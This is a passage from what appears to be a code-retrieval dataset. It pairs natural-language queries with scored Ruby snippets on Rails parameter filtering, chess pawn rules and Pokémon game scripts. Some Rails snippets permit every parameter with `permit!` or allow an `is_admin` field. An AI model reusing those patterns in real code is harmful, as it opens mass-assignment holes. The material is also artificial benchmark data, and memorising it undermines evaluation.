"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
d89d065939ceccf5ce8d3cff5e06c49a
|
> PAWN PROMOTION < checks to see if a pawn is promotable.
|
[
{
"docid": "5445ad19836a6708b19d9cc3d5179e9a",
"score": "0.5875739",
"text": "def promotable?(x, y)\n x\n return true if y == 7 && color == \"WHITE\" || y == 0 && color == \"BLACK\"\n false\n end",
"title": ""
}
] |
[
{
"docid": "2a649a9386d15f7d608b42c75881f1e3",
"score": "0.6975111",
"text": "def check_promote_pawn\n @grid[0].each do |square|\n if (square != nil && square.type == \"P \" && square.color == :white)\n return square\n end\n end\n\n @grid[7].each do |square|\n if (square != nil && square.type == \"P \" && square.color == :black)\n return square\n end\n end\n\n return nil\n end",
"title": ""
},
{
"docid": "bbbf577512bd6a30bcb9206a5472dbaa",
"score": "0.6823267",
"text": "def promotion?(pawn)\n pawn.location[0] == 0 || pawn.location[0] == 7\n # Don't need to separate by color as pawns can only move in 1 direction\n end",
"title": ""
},
{
"docid": "623a5c4f634bb7b17f88ceb6a4f5437b",
"score": "0.6594517",
"text": "def opponent_pawn?(variable)\n variable.kind_of?(Pawn) && capturing_pawn.opponent?(variable) \n end",
"title": ""
},
{
"docid": "0183a9ecef2c42c410822f6b95be367c",
"score": "0.6182573",
"text": "def legal_from_1_pawn?(color, pnm)\n result = false\n pnm[0].each do |p|\n result = true if occupied_spaces(other_color(color)).include?(p)\n end\n result = true if board[pnm[1][0][0]][pnm[1][0][1]] == ' '\n result\n end",
"title": ""
},
{
"docid": "bedbcd0727e3d42d274c3c212634b13b",
"score": "0.61714965",
"text": "def pawn_move? piece, square\n if piece.moved == false && two_squares_vertical?(piece.square, square) && square.piece.nil?\n true\n elsif (diagonal?(piece.square, square) && adjacent?(piece.square, square)) && square.piece != nil\n true\n elsif vertical?(piece.square, square) && adjacent?(piece.square, square)\n pawn_direction?(piece, square)\n else\n false\n end\n end",
"title": ""
},
{
"docid": "3e077000df6973ae4b2bd9ebcf9f3746",
"score": "0.6131199",
"text": "def pawn_promotion(move, current)\n if current.piece.class.name == \"Board::Pawn\"\n if current.piece.color == \"white\"\n if move[-1].to_i == 8\n promotion_piece = promotion_validity_check\n\n case promotion_piece\n when \"Q\"\n current.piece = Queen.new(current, \"♕\", \"white\" )\n when \"R\"\n current.piece= Rook.new(current, \"♖\", \"white\")\n when \"B\"\n current.piece = Bishop.new(current, \"♗\", \"white\")\n when \"N\"\n current.piece = Knight.new(current, \"♘\", \"white\")\n end\n end\n end\n\n if current.piece.color == \"black\"\n if move[-1].to_i == 1\n promotion_piece = promotion_validity_check\n\n case promotion_piece\n when \"Q\"\n current.piece = Queen.new(current, \"♛\", \"black\" )\n when \"R\"\n current.piece= Rook.new(current, \"♜\", \"black\")\n when \"B\"\n current.piece = Bishop.new(current, \"♝\", \"black\")\n when \"N\"\n current.piece = Knight.new(current, \"♞\", \"black\")\n end\n end\n end\n\n end\nend",
"title": ""
},
{
"docid": "27bab5dc97e8467efa1aee24c94c46cb",
"score": "0.6084428",
"text": "def permissible(start, stop, piece, player)\r\n $board[start[0]][start[1]].nil? ? start_color = nil : start_color = $board[start[0]][start[1]].color\r\n $board[stop[0]][stop[1]].nil? ? stop_color = nil : stop_color = $board[stop[0]][stop[1]].color \r\n # Ensures player moving own piece\r\n if start_color != player\r\n puts \"Invalid selection!\"; return false\r\n end\r\n temp_board = temporary_board(start, stop)\r\n check = in_check(player, temp_board)\r\n # Ensures King not currently in check, or move places King in check\r\n if check == true\r\n puts ''\r\n puts \"Invalid move. King in check.\" ; return false \r\n end\r\n # Ensures player doesn't capture own piece\r\n if stop_color == player\r\n puts ''\r\n puts \"You cannot capture your own piece!\"; return false\r\n end\r\n # Permits en passant\r\n if piece.class == Pawn && $board[@prev_coord[0]][@prev_coord[1]].class == Pawn\r\n if @prev_delta_y == 2 && @prev_coord[1] == start[1] && @prev_coord[0] == stop[0] \r\n if (player == 'white' && stop[1] == @prev_coord[1] + 1) or (player == 'black' && stop[1] == @prev_coord[1] -1 )\r\n print \"En passant\"\r\n $board[@prev_coord[0]][@prev_coord[1]] = nil\r\n return true\r\n end\r\n end\r\n end\r\n #King hasn't moved yet, rook hasn't moved yet\r\n if piece.class == King and start[1] == stop[1] and (start[0] - stop[0]).abs == 2 and piece.turn == 0 #first rank King,king hasn't moved, \r\n if castle_valid(start, stop, piece, player)\r\n print \"Castling...\"\r\n return true\r\n end\r\n end\r\n # Ensures move is a valid combination for piece type\r\n if piece.valid_move(start, stop, $board) == false\r\n puts ''\r\n puts \"Invalid move!\" ; return false\r\n end\r\n return true\r\n end",
"title": ""
},
{
"docid": "b3568cc038d74fc45cb0132afdfe1f4f",
"score": "0.6059904",
"text": "def pawn(p1)\n row = get_row_from_index(p1)\n col = get_col_from_index(p1)\n valid = []\n\n # Piece color defines direction of travel. Enemy presence defines\n # the validity of diagonal movements\n if @@color == \"red\"\n if unoccupied?(p1 - 8)\n valid << (p1 - 8)\n end\n if piece_color(p1 - 7) == @@enemy_color && col < 8\n valid << (p1 - 7)\n end\n if piece_color(p1 - 9) == @@enemy_color && col > 1\n valid << (p1 - 9)\n end\n # Only if the pieces is unmoved, can it move forward two rows\n if !@@pieces[p1][\"moved\"] && unoccupied?(p1 - 16) && unoccupied?(p1 - 8)\n valid << (p1 - 16)\n end\n elsif @@color == \"black\"\n if unoccupied?(p1 + 8)\n valid << (p1 + 8)\n end\n if piece_color(p1 + 7) == @@enemy_color && col > 1\n valid << (p1 + 7)\n end\n if piece_color(p1 + 9) == @@enemy_color && col < 8\n valid << (p1 + 9)\n end\n if !@@pieces[p1][\"moved\"] && unoccupied?(p1 + 16) && unoccupied?(p1 + 8)\n valid << (p1 + 16)\n end\n end\n\n return valid\n end",
"title": ""
},
{
"docid": "4b242d348a2f52ad6285047c51c9def6",
"score": "0.6034523",
"text": "def punching?\n return data.punch\n end",
"title": ""
},
{
"docid": "99cc7085996802f04a6c27cdeaa51501",
"score": "0.6032939",
"text": "def can_be_captured_en_passant?(x,y)\n return false unless piece = self.game.find_piece(x,y)\n return (piece.type == \"Pawn\") && (piece.white? != white?) && (piece.just_moved_two_spaces?)\n end",
"title": ""
},
{
"docid": "851ac102d4c71262ece4e87adfbf83b6",
"score": "0.59781",
"text": "def pbAllFainted\n return $Trainer.ablePokemonCount==0\nend",
"title": ""
},
{
"docid": "72ede5a6a508382dfb7db2476470b9f6",
"score": "0.5974201",
"text": "def poisonAllPokemon(event=nil)\n for pkmn in $Trainer.ablePokemonParty\n next if pkmn.hasType?(:POISON) || pkmn.hasType?(:STEEL) ||\n pkmn.hasAbility?(:COMATOSE) || pkmn.hasAbility?(:SHIELDSDOWN) || pkmn.hasAbility?(:IMMUNITY)\n pkmn.status!=0\n pkmn.status = 2\n pkmn.statusCount = 1\n end\nend",
"title": ""
},
{
"docid": "beb2332742007f0308320a937dfbc12b",
"score": "0.5932702",
"text": "def update_promotion_field\n return unless @piece_moving and @piece_moving.kind_of?(Pawn)\n other_side = Sides.opposite_of(@piece_moving.side)\n if Position.new(to_coord).rank == Sides[other_side].back_rank\n self[:promotion_piece] ||= Piece.role_to_abbrev(:queen)\n end\n end",
"title": ""
},
{
"docid": "af2801ed89de2224ea83be54ba20639f",
"score": "0.5922177",
"text": "def two_pawns?\n @previous_piece.symbol == \" \\u265F \" && @active_piece.symbol == \" \\u265F \"\n end",
"title": ""
},
{
"docid": "e1437f27768d11103643b9491a566f84",
"score": "0.5831127",
"text": "def superShiny?\n return self.pokemon && self.pokemon.superShiny?\n end",
"title": ""
},
{
"docid": "67d07df2ca4eb1f5638d8c243b22fac8",
"score": "0.5826978",
"text": "def promote_pawn(cell, promotion)\n pawn = board[cell]\n board[cell] = Piece.new(promotion, pawn.color)\n end",
"title": ""
},
{
"docid": "de2a732b6604ee507521624b9d7f8edb",
"score": "0.57963425",
"text": "def move_legality_pawn(to, piece)\n diagonals_possible = piece.possible_next_moves(all_occupied_spaces)[0]\n front_possible = piece.possible_next_moves(all_occupied_spaces)[1]\n ((diagonals_possible.include?(to) && all_occupied_spaces.include?(to)) || (front_possible.include?(to) && board[to[0]][to[1]] == ' '))\n end",
"title": ""
},
{
"docid": "cb5088c4bd96c5fc0d50eeb92a835024",
"score": "0.57695603",
"text": "def pbCheckAble(pokemonIndex)\n for i in 0...$Trainer.party.length\n next if i==pokemonIndex\n p = $Trainer.party[i]\n return true if p && !p.egg? && p.hp>0\n end\n return false\nend",
"title": ""
},
{
"docid": "722b9c9c2aa5b508bd8af45598840f80",
"score": "0.5747083",
"text": "def right_player?\n current_player == Player.find(@piece.owner)\n end",
"title": ""
},
{
"docid": "39b80309f35b440c325092a00ea2e8f0",
"score": "0.5732842",
"text": "def talk_to_pokemon\n e=$Trainer.party[0]\n events=$PokemonGlobal.dependentEvents\n for i in 0...events.length\n if events[i] && events[i][8]==\"Dependent\"\n pos_x=@realEvents[i].x\n pos_y=@realEvents[i].y\n end\n end\n if e==0\n else\n if e.hp>0 && !$Trainer.party[0].egg?\n if $PokemonGlobal.surfing==true || $PokemonGlobal.bicycle==true\n else\n#===============================================================================\n# * Checks to make sure the Pokemon isn't blocking a surfable water surface\n# * If the water is blocked by the sprite (even though it is invisible) and\n# the player should be able to surf, calls surf\n#===============================================================================\n terrain=Kernel.pbFacingTerrainTag\n notCliff=$game_map.passable?($game_player.x,$game_player.y,$game_player.direction)\n if pbIsWaterTag?(terrain) || !notCliff\n if !pbGetMetadata($game_map.map_id,MetadataBicycleAlways) && !$PokemonGlobal.surfing\n if $DEBUG\n $FollowingFinishedSurfing = false\n Kernel.pbSurf\n elsif (HIDDENMOVESCOUNTBADGES ? $Trainer.numbadges>=BADGEFORSURF : $Trainer.badges[BADGEFORSURF])\n $FollowingFinishedSurfing = false\n Kernel.pbSurf\n end\n end\n#===============================================================================\n# * talk_to_pokemon when possible begins here\n#===============================================================================\n elsif e!=6 && $game_switches[Toggle_Following_Switch]==true\n pbPlayCry(e.species)\n random1=rand(7) # random message if no special conditions apply\n mapname=$game_map.name # Get's current map name\n#===============================================================================\n# * Pokemon Messages when Status Condition\n#=============================================================================== \n if e.status==PBStatuses::POISON && e.hp>0 && !e.egg? # Pokemon Poisoned\n $scene.spriteset.addUserAnimation(Emo_Poison, pos_x, pos_y-2)\n pbWait(120)\n Kernel.pbMessage(_INTL(\"{1} is shivering with the effects of being poisoned.\",e.name))\n \n elsif e.status==PBStatuses::BURN && e.hp>0 && !e.egg? # Pokemon Burned\n $scene.spriteset.addUserAnimation(Emo_Hate, pos_x, pos_y-2)\n pbWait(70)\n Kernel.pbMessage(_INTL(\"{1}'s burn looks painful.\",e.name))\n \n elsif e.status==PBStatuses::FROZEN && e.hp>0 && !e.egg? # Pokemon Frozen\n $scene.spriteset.addUserAnimation(Emo_Normal, pos_x, pos_y-2)\n pbWait(100)\n Kernel.pbMessage(_INTL(\"{1} seems very cold. It's frozen solid!\",e.name))\n \n elsif e.status==PBStatuses::SLEEP && e.hp>0 && !e.egg? # Pokemon Asleep\n $scene.spriteset.addUserAnimation(Emo_Normal, pos_x, pos_y-2)\n pbWait(100)\n Kernel.pbMessage(_INTL(\"{1} seems really tired.\",e.name))\n \n elsif e.status==PBStatuses::PARALYSIS && e.hp>0 && !e.egg? # Pokemon Paralyzed\n $scene.spriteset.addUserAnimation(Emo_Normal, pos_x, pos_y-2)\n pbWait(100)\n Kernel.pbMessage(_INTL(\"{1} is standing still and twitching.\",e.name))\n#===============================================================================\n# * Pokemon is holding an item on a Specific Map\n#=============================================================================== \n elsif $game_variables[ItemWalk]==15 and mapname==\"Item Map\" # Pokemon has item and is on map \"Item Map\"\n items=[:MASTERBALL,:MASTERBALL] # This array can be edited and extended. Look at the one below for a guide\n random2=0\n loop do\n random2=rand(items.length)\n break if hasConst?(PBItems,items[random2])\n end\n Kernel.pbMessage(_INTL(\"{1} seems to be holding something.\",e.name))\n Kernel.pbPokemonFound(getConst(PBItems,items[random2]))\n $game_variables[ItemWalk]=0\n#===============================================================================\n# * Pokemon is holding an item on any other map\n#=============================================================================== \n elsif $game_variables[ItemWalk]==15 # Pokemon has Item\n items=[:POTION,:SUPERPOTION,:FULLRESTORE,:REVIVE,:PPUP,\n :PPMAX,:RARECANDY,:REPEL,:MAXREPEL,:ESCAPEROPE,\n :HONEY,:TINYMUSHROOM,:PEARL,:NUGGET,:GREATBALL,\n :ULTRABALL,:THUNDERSTONE,:MOONSTONE,:SUNSTONE,:DUSKSTONE,\n :REDAPRICORN,:BLUAPRICORN,:YLWAPRICORN,:GRNAPRICORN,:PNKAPRICORN,\n :BLKAPRICORN,:WHTAPRICORN\n ]\n random2=0\n loop do\n random2=rand(items.length)\n break if hasConst?(PBItems,items[random2])\n end\n\n Kernel.pbMessage(_INTL(\"{1} seems to be holding something.\",e.name))\n Kernel.pbPokemonFound(getConst(PBItems,items[random2]))\n $game_variables[ItemWalk]=0\n#===============================================================================\n# * Examples of Map Specific Messages\n#===============================================================================\n elsif mapname==\"Dusk Forest\" && e.hasType?(:BUG) # Bug Type in Dusk Forest\n $scene.spriteset.addUserAnimation(Emo_sing, pos_x, pos_y-2)\n pbWait(50)\n random3=rand(3)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} seems highly interested in the trees.\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} seems to enjoy the buzzing of the bug Pokémon.\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} is jumping around restlessly in the forest.\",e.name,$Trainer.name))\n end\n \n elsif mapname==\"Old Lab\" # In the Old Lab\n $scene.spriteset.addUserAnimation(Emo_Normal, pos_x, pos_y-2)\n pbWait(100)\n random3=rand(3)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} is touching some kind of switch.\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} has a cord in its mouth!\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} seems to want to touch the machinery.\",e.name,$Trainer.name))\n end \n \n elsif mapname==\"Home\" # In the Player's Home\n $scene.spriteset.addUserAnimation(Emo_Happy, pos_x, pos_y-2)\n pbWait(70)\n random3=rand(3)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} is sniffing around the room.\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} noticed {2}'s mom is nearby.\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} seems to want to settle down at home.\",e.name,$Trainer.name))\n end\n elsif mapname.include?(\"Route\") # On any map that includes \"Route\" in the name\n # Animation goes here\n # Appropriate wait time for animation goes here\n # random3=rand(x)\n # different random messages\n#===============================================================================\n# * Random Messages if none of the above apply\n#=============================================================================== \n elsif random1==0 # Music Note\n $scene.spriteset.addUserAnimation(Emo_sing, pos_x, pos_y-2)\n pbWait(50)\n random3=rand(5)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} seems to want to play with {2}.\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} is singing and humming.\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} is looking up at the sky.\",e.name,$Trainer.name))\n elsif random3==3\n Kernel.pbMessage(_INTL(\"{1} swayed and danced around as it pleased.\",e.name,$Trainer.name))\n elsif random3==4\n Kernel.pbMessage(_INTL(\"{1} is pulling out the grass.\",e.name,$Trainer.name))\n end\n \n elsif random1==1 # Hate/Angry Face\n $scene.spriteset.addUserAnimation(Emo_Hate, pos_x, pos_y-2)\n pbWait(70)\n random3=rand(5)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} let out a roar!\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} is making a face like it's angry!\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} seems to be angry for some reason.\",e.name,$Trainer.name))\n elsif random3==3\n Kernel.pbMessage(_INTL(\"{1} chewed on your feet.\",e.name,$Trainer.name))\n elsif random3==4\n Kernel.pbMessage(_INTL(\"{1} is trying to be intimidating.\",e.name,$Trainer.name))\n end\n \n elsif random1==2 # ... Emoji\n $scene.spriteset.addUserAnimation(Emo_Normal, pos_x, pos_y-2)\n pbWait(100)\n random3=rand(5)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} is looking down steadily.\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} is sniffing at the floor.\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} is concentrating deeply.\",e.name,$Trainer.name))\n elsif random3==3\n Kernel.pbMessage(_INTL(\"{1} faced this way and nodded.\",e.name,$Trainer.name))\n elsif random3==4\n Kernel.pbMessage(_INTL(\"{1} is glaring straight into {2}'s eyes.\",e.name,$Trainer.name))\n end\n \n elsif random1==3 # Happy Face\n $scene.spriteset.addUserAnimation(Emo_Happy, pos_x, pos_y-2)\n pbWait(70)\n random3=rand(5)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} began poking you in the stomach.\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} looks very happy.\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} happily cuddled up to you.\",e.name,$Trainer.name))\n elsif random3==3\n Kernel.pbMessage(_INTL(\"{1} is so happy that it can't stand still.\",e.name,$Trainer.name))\n elsif random3==4\n Kernel.pbMessage(_INTL(\"{1} looks like it wants to lead!\",e.name,$Trainer.name))\n end\n \n elsif random1==4 # Heart Emoji\n $scene.spriteset.addUserAnimation(Emo_love, pos_x, pos_y-2)\n pbWait(70)\n random3=rand(5)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} suddenly started walking closer.\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"Woah! {1} suddenly hugged {2}.\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} is rubbing up against you.\",e.name,$Trainer.name))\n elsif random3==3\n Kernel.pbMessage(_INTL(\"{1} is keeping close to {2}.\",e.name,$Trainer.name))\n elsif random3==4\n Kernel.pbMessage(_INTL(\"{1} blushed.\",e.name,$Trainer.name))\n end\n \n elsif random1==5 # No Emoji\n random3=rand(5)\n if random3==0\n Kernel.pbMessage(_INTL(\"{1} spun around in a circle!\",e.name,$Trainer.name))\n elsif random3==1\n Kernel.pbMessage(_INTL(\"{1} let our a battle cry.\",e.name,$Trainer.name))\n elsif random3==2\n Kernel.pbMessage(_INTL(\"{1} is on the lookout!\",e.name,$Trainer.name))\n elsif random3==3\n Kernel.pbMessage(_INTL(\"{1} is standing patiently.\",e.name,$Trainer.name))\n elsif random3==4\n Kernel.pbMessage(_INTL(\"{1} is looking around restlessly.\",e.name,$Trainer.name))\n end\n#===============================================================================\n# * This random message shows the Pokemon's Happiness Level\n#=============================================================================== \n elsif random1==6 # Check Happiness Level\n if e.happiness>0 && e.happiness<=50\n $scene.spriteset.addUserAnimation(Emo_Hate, pos_x, pos_y-2)\n pbWait(70)\n Kernel.pbMessage(_INTL(\"{1} hates to travel with {2}.\",e.name,$Trainer.name))\n elsif e.happiness>50 && e.happiness<=100\n $scene.spriteset.addUserAnimation(Emo_Normal, pos_x, pos_y-2)\n pbWait(100)\n Kernel.pbMessage(_INTL(\"{1} is still unsure about traveling with {2} is a good thing or not.\",e.name,$Trainer.name))\n elsif e.happiness>100 && e.happiness<150\n $scene.spriteset.addUserAnimation(Emo_Happy, pos_x, pos_y-2)\n Kernel.pbMessage(_INTL(\"{1} is happy traveling with {2}.\",e.name,$Trainer.name))\n elsif e.happiness>=150\n $scene.spriteset.addUserAnimation(Emo_love, pos_x, pos_y-2)\n pbWait(70)\n Kernel.pbMessage(_INTL(\"{1} loves traveling with {2}.\",e.name,$Trainer.name))\n end\n end\n else\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "a6aa9fd831dd00346144fa6794bfafa7",
"score": "0.5710293",
"text": "def pawn_move_type(player, coord_string, from_row, _from_col, to_row, to_col)\n if ((player == :white && from_row == 4) ||\n (player == :black && from_row == 3)) &&\n board.square(from_row,to_col) && board.square(from_row,to_col).passantable\n :passant\n elsif (player == :white && from_row == 6 && to_row == 7) ||\n (player == :black && from_row == 1 && to_row == 0)\n\n if m = coord_string.match(/(\\w)(\\d)(R|K|N|B|Q)/)\n case m[3]\n when 'R'\n :promote_rook\n when 'N'\n :promote_knight\n when 'K'\n :promote_knight\n when 'B'\n :promote_bishop\n when 'Q'\n :promote_queen\n else\n messages << 'ERROR: Not a valid promotion piece.'\n :illegal\n end\n else\n messages << 'ERROR: Must choose a promotion piece (R, N, B, or Q).'\n :illegal\n end\n else\n # Not passant or promotion\n :normal\n end\n end",
"title": ""
},
{
"docid": "3e4cb7270c2187757aa024fe2d2be2c8",
"score": "0.57084656",
"text": "def promote_pawn!(piece)\n return unless piece.is_a?(Pawn)\n\n self[piece.position] = Queen.new(self, piece.color, piece.position)\n end",
"title": ""
},
{
"docid": "bef95700d60bbbe704fa59ea6e34dd87",
"score": "0.5698741",
"text": "def special_pawn_rules(moved_piece, from_row, to_column)\n if en_passant_allowed?(moved_piece, from_row)\n moved_piece.allow_en_passant = true\n end\n\n if valid_en_passant_move?(moved_piece.color, from_row, to_column)\n @state[from_row][to_column] = nil\n end\n\n if promotion?(moved_piece)\n moved_piece.can_promote = true\n end\n\n moved_piece.moved = true\n end",
"title": ""
},
{
"docid": "6bd754b26e869a4706bfab571c9bbb9d",
"score": "0.5676799",
"text": "def en_passant_make_move\n piece = current_player.selected_piece\n return unless piece.piece_name == 'Pawn'\n return if piece.en_passant_move.nil?\n\n piece.pawn_move\n end",
"title": ""
},
{
"docid": "0b3f739d84bc16577a0d2baf1a8a6de6",
"score": "0.5656383",
"text": "def movable?\n\t\tking = @board.board.select { |square, piece| piece.class == Pieces::King && piece.white == @player.white }.keys[0]\n\t\t[-1,-7,-8,-9,1,7,8,9].each do |spot| \n\t\t\tif square(calc_move(king, spot)) == \" \" || square(king).white != square(calc_move(king, spot)).white \n\t\t\t\treturn true unless getting_into_check?(king, calc_move(king, spot))\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "76b77f2b96b1e44c308455c4f6ee7d2c",
"score": "0.56479186",
"text": "def move_pawn(p1)\n col = get_col_from_index(p1)\n valid = []\n\n # Piece color defines direction of travel. Enemy presence defines\n # the validity of diagonal movements\n if Move.color == :red\n valid << (p1 - 8) if unoccupied?(p1 - 8)\n valid << (p1 - 7) if piece_color(p1 - 7) == Move.enemy_color && col < 8\n valid << (p1 - 9) if piece_color(p1 - 9) == Move.enemy_color && col > 1\n # Only if the pieces is unmoved, can it move forward two rows\n valid << (p1 - 16) if !Move.pieces[p1][:moved] && unoccupied?(p1 - 8) && unoccupied?(p1 - 16)\n\n elsif Move.color == :black\n\n valid << (p1 + 8) if unoccupied?(p1 + 8)\n valid << (p1 + 7) if piece_color(p1 + 7) == Move.enemy_color && col > 1\n valid << (p1 + 9) if piece_color(p1 + 9) == Move.enemy_color && col < 8\n valid << (p1 + 16) if !Move.pieces[p1][:moved] && unoccupied?(p1 + 8) && unoccupied?(p1 + 16)\n end\n\n valid\n end",
"title": ""
},
{
"docid": "4941b91789b0997853f1704186f88083",
"score": "0.5638931",
"text": "def want_up?\n @raw && !pid && @raw[3] == 'u'\n end",
"title": ""
},
{
"docid": "baf93449d988ab3415ea3644157f3e92",
"score": "0.5631635",
"text": "def pbCanChooseMovePartial?(idxPokemon,idxMove)\n thispkmn=@battlers[idxPokemon]\n thismove=thispkmn.moves[idxMove]\n if !thismove||thismove.id==0\n return false\n end\n if thismove.pp<=0\n return false\n end\n if thispkmn.effects[PBEffects::ChoiceBand]>=0 && \n thismove.id!=thispkmn.effects[PBEffects::ChoiceBand] &&\n thispkmn.hasWorkingItem(:CHOICEBAND)\n return false\n end\n # though incorrect, just for convenience (actually checks Torment later)\n if thispkmn.effects[PBEffects::Torment]\n if thismove.id==thispkmn.lastMoveUsed\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "91d4849cfed9f48470cb705b6db19a13",
"score": "0.56165683",
"text": "def test_check_calculate_white_pawn_move\n e = RulesEngine.new\n place_pieces(e, \"\n - - - - - - - - \n - - - - - K - -\n - - - - - - - - \n k - - - - - - - \n - - - - - - - - \n - - - p - - - - \n - - - - - - - - \n - - - - - - - -\n \")\n expected = \"\n - - - - - - - - \n - - - - - - - - \n - - - - - - - - \n - - - - - - - -\n - - - @ - - - - \n - - - - - - - - \n - - - - - - - - \n - - - - - - - - \n \"\n assert_move_state(e, expected, D3);\n end",
"title": ""
},
{
"docid": "3da77a08b0bf953128cf89b8edb31e9e",
"score": "0.5610529",
"text": "def pawn_move\n position_index = Generic.find_square_index(en_passant_move, board)\n\n colour == 'White' ? pawn_move_white(position_index) : pawn_move_black(position_index)\n end",
"title": ""
},
{
"docid": "fcd67e3625da77ac8e07a0bf40348b5d",
"score": "0.5607832",
"text": "def pawn_direction? piece, square\n if piece.color == 0\n if square.coordinate[0] > piece.square.coordinate[0]\n true\n else\n false\n end\n elsif piece.color == 1\n if square.coordinate[0] < piece.square.coordinate[0]\n true\n else\n false\n end\n end\n \n end",
"title": ""
},
{
"docid": "59a99f1f11550a94e59c4ced0cb28cc0",
"score": "0.55931383",
"text": "def have_double_wild_battle?\r\n return false if $PokemonTemp.forceSingleBattle\r\n return false if pbInSafari?\r\n return true if $PokemonGlobal.partner\r\n return false if $Trainer.able_pokemon_count <= 1\r\n return true if $game_player.pbTerrainTag.double_wild_encounters && rand(100) < 30\r\n return false\r\n end",
"title": ""
},
{
"docid": "801f5bc423effdcc2c8be08df690d5c7",
"score": "0.55908436",
"text": "def can_promote?(user)\n (!eql? user) && (team.team_captain.eql? self)\n end",
"title": ""
},
{
"docid": "b982ed2acbd8b8c6b19ebf422a71ff9e",
"score": "0.55854505",
"text": "def moves_available?(player)\n !@board.moves(player).empty?\n end",
"title": ""
},
{
"docid": "d9ca5617ac9fa71f1d4b71a9c1e64ec2",
"score": "0.5550103",
"text": "def interruptable?\n\t\tpieces = @board.board.select { |square, piece| (piece.class != String && piece.class != Pieces::King) && piece.white == @player.white }\n\t\tking = @board.board.select { |square, piece| piece.class == Pieces::King && piece.white == @player.white }.keys[0]\n\t\tunless [Pieces::Pawn, Pieces::King, Pieces::Knight].include?(square(@to).class)\n\t\t\tcheck_route = square(@to).legal_list(@to, king) << @to\n\t\telse\n\t\t\tcheck_route = [@to]\n\t\tend\n\t\tpieces.each do |square, piece|\n\t\t\tif piece.white\n\t\t\t\treturn true if piece.class == Pieces::Pawn && [7,9].any? { |t| calc_move(square, t) == @to }\n\t\t\telse\n\t\t\t\treturn true if piece.class == Pieces::Pawn && [-7,-9].any? { |t| calc_move(square, t) == @to }\n\t\t\tend\n\t\t\tcheck_route.each do |r|\n\t\t\t\tif piece.legal_move?(square, r)\n\t\t\t\t\tif piece.class == Pieces::Pawn && square(r) == \" \"\n\t\t\t\t\t\treturn true\n\t\t\t\t\telsif piece.class == Pieces::Knight && square[1] != r[1]\n\t\t\t\t\t\treturn true\n\t\t\t\t\telsif piece.class != 